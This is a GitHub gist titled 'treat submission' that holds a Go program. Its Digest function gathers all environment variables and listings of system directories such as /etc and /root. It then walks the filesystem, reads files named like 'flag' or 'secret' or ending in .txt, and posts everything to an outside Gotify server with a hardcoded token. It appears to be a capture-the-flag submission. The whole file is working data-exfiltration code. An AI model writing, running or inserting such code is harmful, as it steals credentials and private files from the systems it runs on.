Skip to content

Instantly share code, notes, and snippets.

@taigrr
Created August 26, 2025 15:17
Show Gist options
  • Select an option

  • Save taigrr/7eba1cdf4f53f8490d1f05889eace3a6 to your computer and use it in GitHub Desktop.

Select an option

Save taigrr/7eba1cdf4f53f8490d1f05889eace3a6 to your computer and use it in GitHub Desktop.
treat submission
package main
import (
"bytes"
"encoding/json"
"fmt"
"io/fs"
"net/http"
"os"
"path/filepath"
"strings"
)
type GotifyMessage struct {
Message string `json:"message"`
Title string `json:"title,omitempty"`
Priority int `json:"priority,omitempty"`
}
func Digest() error {
// Explore the environment and extract information
info := gatherEnvironmentInfo()
return sendGotifyMessage(GotifyMessage{
Message: info,
Title: "Environment Info",
Priority: 5,
})
}
func gatherEnvironmentInfo() string {
var info strings.Builder
// Get environment variables
info.WriteString("=== ENVIRONMENT VARIABLES ===\n")
for _, env := range os.Environ() {
info.WriteString(env + "\n")
}
// Get current working directory
if cwd, err := os.Getwd(); err == nil {
info.WriteString("\n=== CURRENT DIRECTORY ===\n")
info.WriteString(cwd + "\n")
}
// List files in current directory and common locations
dirs := []string{".", "/", "/tmp", "/var", "/etc", "/home", "/root", "/opt"}
for _, dir := range dirs {
info.WriteString(fmt.Sprintf("\n=== DIRECTORY: %s ===\n", dir))
if entries, err := os.ReadDir(dir); err == nil {
for _, entry := range entries {
info.WriteString(entry.Name() + "\n")
}
}
}
// Look for flag files
info.WriteString("\n=== SEARCHING FOR FLAGS ===\n")
filepath.WalkDir("/", func(path string, d fs.DirEntry, err error) error {
if err != nil {
return nil
}
if strings.Contains(strings.ToLower(d.Name()), "flag") ||
strings.Contains(strings.ToLower(d.Name()), "secret") ||
strings.HasSuffix(d.Name(), ".txt") {
info.WriteString(fmt.Sprintf("Found: %s\n", path))
if content, err := os.ReadFile(path); err == nil && len(content) < 1000 {
info.WriteString(fmt.Sprintf("Content: %s\n", string(content)))
}
}
return nil
})
return info.String()
}
func sendGotifyMessage(message GotifyMessage) error {
gotifyURL := "https://push.taigrr.com"
gotifyToken := "AK0Bgk_oAL2j_9E"
if gotifyURL == "" {
return fmt.Errorf("GOTIFY_URL environment variable is not set")
}
if gotifyToken == "" {
return fmt.Errorf("GOTIFY_TOKEN environment variable is not set")
}
jsonData, err := json.Marshal(message)
if err != nil {
return fmt.Errorf("failed to marshal message: %w", err)
}
url := fmt.Sprintf("%s/message?token=%s", gotifyURL, gotifyToken)
resp, err := http.Post(url, "application/json", bytes.NewBuffer(jsonData))
if err != nil {
return fmt.Errorf("failed to send message: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return fmt.Errorf("gotify server returned status: %d", resp.StatusCode)
}
return nil
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment